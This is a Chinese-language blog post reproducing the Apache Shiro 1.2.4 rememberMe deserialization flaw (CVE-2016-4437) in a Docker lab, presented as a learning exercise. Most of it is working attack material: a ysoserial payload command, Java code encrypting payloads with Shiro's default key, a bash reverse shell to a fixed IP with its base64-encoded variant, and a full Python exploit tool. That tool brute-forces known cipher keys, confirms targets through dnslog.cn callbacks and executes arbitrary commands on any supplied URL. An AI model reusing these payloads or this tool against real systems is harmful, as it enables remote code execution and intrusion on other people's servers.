Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现

基础知识

  1. 序列化和反序列化
    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第1张图片

  2. 反序列化漏洞原因
    在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。
    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第2张图片

  3. 反序列化的检测
    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第3张图片

  4. 基础库中隐藏的反序列化漏洞
    优秀的Java开发人员一般会按照安全编程规范进行编程,很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等,都有相应的防范反序列化的机制。如果仅仅是开发失误,可能很少会产生反序列化漏洞,即使产生,其绕过方法、利用方式也较为复杂。但其实,有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。
    2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
    存在危险的基础库:
    commons-fileupload 1.3.1
    commons-io 2.4
    commons-collections 3.1
    commons-logging 1.2
    commons-beanutils 1.9.2
    org.slf4j:slf4j-api 1.7.21
    com.mchange:mchange-commons-java 0.2.11
    org.apache.commons:commons-collections 4.0
    com.mchange:c3p0 0.9.5.2
    org.beanshell:bsh 2.0b5
    org.codehaus.groovy:groovy 2.3.9
    org.springframework:spring-aop 4.1.4.RELEASE

  5. CommonsCollections反序列化漏洞的利用
    CommonsCollections造成RCE的根本原因就在于我们构造了一个特殊的ChainedTransformer类的对象,这样当我们调用这个对象的transform函数的时候,就会造成命令执行,于是,我们需要做的事情就是去寻找某个类,把包含恶意代码的transformerChain放到这个类里面,当对这个类的对象进行反序列化的时候会调用transformerChain的transform函数。

漏洞复现

执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

docker-compose up -d

服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第4张图片

使用Shiro内置的默认密钥对Payload进行加密:

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

发送cookie可以发现靶机创建了目录

nc反弹shell

通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用WebShell,反序列化漏洞或通过其他媒介时,可能会发生这种情况。
这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,在shell中执行ls > dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如ls “My Directory” 之类的东西将被解释为ls ‘"My’ ‘Directory"’。
借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。

编码网站 http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.179.130/6666 0>&1
->
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第5张图片
客户端开启监听6666端口
nc -lvp 6666
在这里插入图片描述
攻击机运行脚本
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第6张图片
脚本内容

#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX0NBVA==",
    "1QWLxg+NYmxraMoxAXu/Iw==",
    "WcfHGU25gNnTxTlmJMeSpw==",
    "a2VlcE9uR29pbmdBbmRGaQ==",
    "bWluZS1hc3NldC1rZXk6QQ==",
    "5aaC5qKm5oqA5pyvAAAAAA==",
    "kPH+bIxk5D2deZiIxcaaaA==",
    #"ZWvohmPdUsAWT3=KpPqda",
    "r0e3c16IdVkouZgk1TKVMg==",
    "ZUdsaGJuSmxibVI2ZHc9PQ==",
    "U3ByaW5nQmxhZGUAAAAAAA==",
    "LEGEND-CAMPUS-CIPHERKEY=="
    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
    gadget,command = params
    if not os.path.exists(fp):
        raise Exception('jar file not found')
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
                            stdout=subprocess.PIPE)
    BS = AES.block_size
    #print(command)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def getdomain():
    try :
        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getdomain error:" + str(e))
        ret = "error"
        pass
    return ret

def getrecord():
    try :
        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
        #print(ret)
    except Exception as e:
        print("getrecord error:" + str(e))
        ret = "error"
        pass
    return ret

def check(url):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url

    print("checking url:" + url)

    domain = getdnshost()
    if domain:
        reversehost = "http://" + domain

        for CipherKey in CipherKeys:
            ret = {"vul":False,"CipherKey":"","url":target}

            try:
                print("try CipherKey :" +CipherKey)

                payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

                print("generator payload done.")

                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

                print("send payload ok.")
                for i in range(1,5):
                    print("checking.....")

                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret["vul"] = True
                        ret["CipherKey"] = CipherKey
                        break
            except Exception as e:
                print(str(e))
                pass
            if ret["vul"]:
                break
    else:
        print("get dns host error")
    return ret

def exploit(url,gadget,params,CipherKey):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = genpayload((gadget, params),CipherKey,JAR_FILE)
        r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
        print(r.text)
    except Exception as e:
        print("exploit error:" + str(e))
        pass

def getdnshost():
    reversehost = ""
    try :
        domain = getdomain()
        if domain=="error":
            print("getdomain error")
        else:
            #reversehost = "http://" +domain
            reversehost = domain
            #print("got reversehost : " + reversehost)
    except:
        pass
    return reversehost

def detector(url,CipherKey,command):
    result = []
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        for g in gadgets:
            g = g.strip()

            domain = getdnshost()
            if domain:
                if g == "JRMPClient":
                    param = "%s:80" % domain
                else:
                    param = command.replace("{dnshost}",domain)
                payload = genpayload((g, param),CipherKey,JAR_FILE)
                print(g + " testing.....")
                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
                #print(r.read())
                for i in range(1,5):
                    #print("checking.....")
                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret = g
                        #ret["CipherKey"] = CipherKey
                        result.append(ret)
                        print("found gadget:\t" + g)
                        break
            else:
                print("get dns host error")
                    #break
        #print(r.text)
    except Exception as e:
        print("detector error:" + str(e))
        pass
    return result

def parser_error(errmsg):
    print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
    sys.exit()

def parse_args():
    # parse the arguments
    parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
    parser.error = parser_error
    parser._optionals.title = "OPTIONS"
    parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
    parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
    parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
    parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
    parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    url = args.url
    type = args.type
    command = args.params
    key = args.key
    gadget = args.gadget
    if type=="1":
        r = check(url)
        print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
    elif type=="2":
        exploit(url,gadget,command,key)
        print("exploit done.")
    elif type=="3":
        
        r = detector(url,key,command)
        if r :
            print("found gadget:\n")
            print(r)
    else:
        print("invalid type")

核心内容为

使用Java序列化
使用密钥进行AES加密
Base64加密
得到加密后的Remember Me内容

反弹成功
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现_第7张图片

参考

Java反序列化漏洞从入门到深入(转载) https://www.cnblogs.com/Fluorescence-tjy/p/11222052.html

Java反序列化之Commons-Collections https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/

玩转Ysoserial-CommonsCollection的七种利用方式分析 https://www.freebuf.com/articles/web/214096.html

java反序列化工具ysoserial分析 http://www.vuln.cn/6295

ysoserial源码 https://github.com/frohoff/ysoserial

配置maven https://maven.apache.org/download.cgi

配置shiro https://mvnrepository.com/artifact/org.apache.shiro

权限框架之Shiro详解 https://www.cnblogs.com/WUXIAOCHANG/p/10886534.html

maven中央仓库下载jar包流程 https://blog.csdn.net/qq_43688472/article/details/85384775

Apache Shiro 反序列化漏洞复现(CVE-2016-4437) https://www.cnblogs.com/renhaoblog/p/12971152.html

shiro反序列化漏洞复现 https://blog.csdn.net/u011975363/article/details/102391669

shiro java 反序列漏洞复现 https://www.cnblogs.com/kbhome/p/13061633.html

java.lang.Runtime.exec()Payload Workarounds http://www.jackson-t.ca/runtime-exec-payloads.html.

你可能感兴趣的:(渗透测试)